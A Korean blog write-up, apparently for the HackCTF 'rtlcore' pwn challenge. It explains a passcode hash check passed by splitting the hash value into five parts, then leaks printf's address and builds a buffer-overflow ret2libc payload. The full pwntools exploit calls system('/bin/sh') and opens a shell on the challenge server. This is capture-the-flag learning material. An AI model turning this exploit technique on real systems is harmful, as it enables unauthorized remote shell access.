1. Mitigation
보호기법은 GOT Overwrite가 가능하고 실행 권한이 없다.
2. 문제 확인
프로그램을 실행시켜보면 Passcode를 입력하라고 나오며 패스코드를 입력하니 실패! 를 출력해준다...
3. 풀이
main 함수를 살펴보면 Passcocde를 입력하는 부분과 check_passcode 함수와 hashcode가 보인다. check_passcode와 hashcode 영역을 살펴보자.
해쉬 코드 부분을 보면 0C0D9B0A7 값이 들어가있다. check_passcode 함수는 입력받을 값을 5번에 걸쳐서 더한 값을 리턴해준다 그렇다면 5번의 걸쳐 더한 값이 hashcode와 같으면 core 함수를 불러올 수 있다. 그렇다면 해쉬 값을 5번 나눠주면 된다.
0xC0D9B0A7 값을 5로 나눠주면 0x2691F21이 나오는데 이 값을 5번 더하면 2바이트가 부족하다. 2바이트는 해쉬 코드를 나눈 값에서 2바이트를 더해준 값을 넣어주면 된다.
# -*- coding: utf-8 -*-
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3015)
e = ELF('./rtlcore')
lib = ELF('./libc.so.6')
passcode = p32(0x2691f021)*4
passcode += p32(0x2691f023)
p.sendlineafter(':', passcode)
Passcode 체크 영역을 통과하게되면 하나의 주소 값이 나오는데 core 함수 부분을 보면 printf의 주소 값이다. 리턴할때 버프의 크기보다 많이 입력 받을 수 있고 printf 주소 값을 이용해서 system 함수의 주소를 구하여 RTL 기법으로 공격 하면 쉘을 획득할 수 있을 것 이다.
exploit
# -*- coding: utf-8 -*-
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3015)
e = ELF('./rtlcore')
lib = ELF('./libc.so.6')
passcode = p32(0x2691f021)*4
passcode += p32(0x2691f023)
p.sendlineafter(':', passcode)
printf_off = lib.symbols['printf']
system_off = lib.symbols['system']
binsh_off = next(lib.search('/bin/sh\x00'))
log.info('printf offset: ' + hex(printf_off))
log.info('system offset: ' + hex(system_off))
log.info('binsh offset: ' + hex(binsh_off))
p.recvuntil('바로 ')
leak = int(p.recv(10), 16)
libc_base = leak - printf_off
system = libc_base + system_off
binsh = libc_base + binsh_off
log.info('printf: ' + hex(leak))
log.info('libc base: ' + hex(libc_base))
log.info('system: ' + hex(system))
log.info('binsh: ' + hex(binsh))
payload = 'A'*66
payload += p32(system)
payload += 'A'*4
payload += p32(binsh)
p.sendline(payload)
p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
Strncmp (0) | 2021.03.19 |
---|---|
Poet (0) | 2021.03.19 |
Handray (0) | 2021.03.18 |
Reversing Me (0) | 2021.03.18 |
Welcome REV (0) | 2021.03.18 |
댓글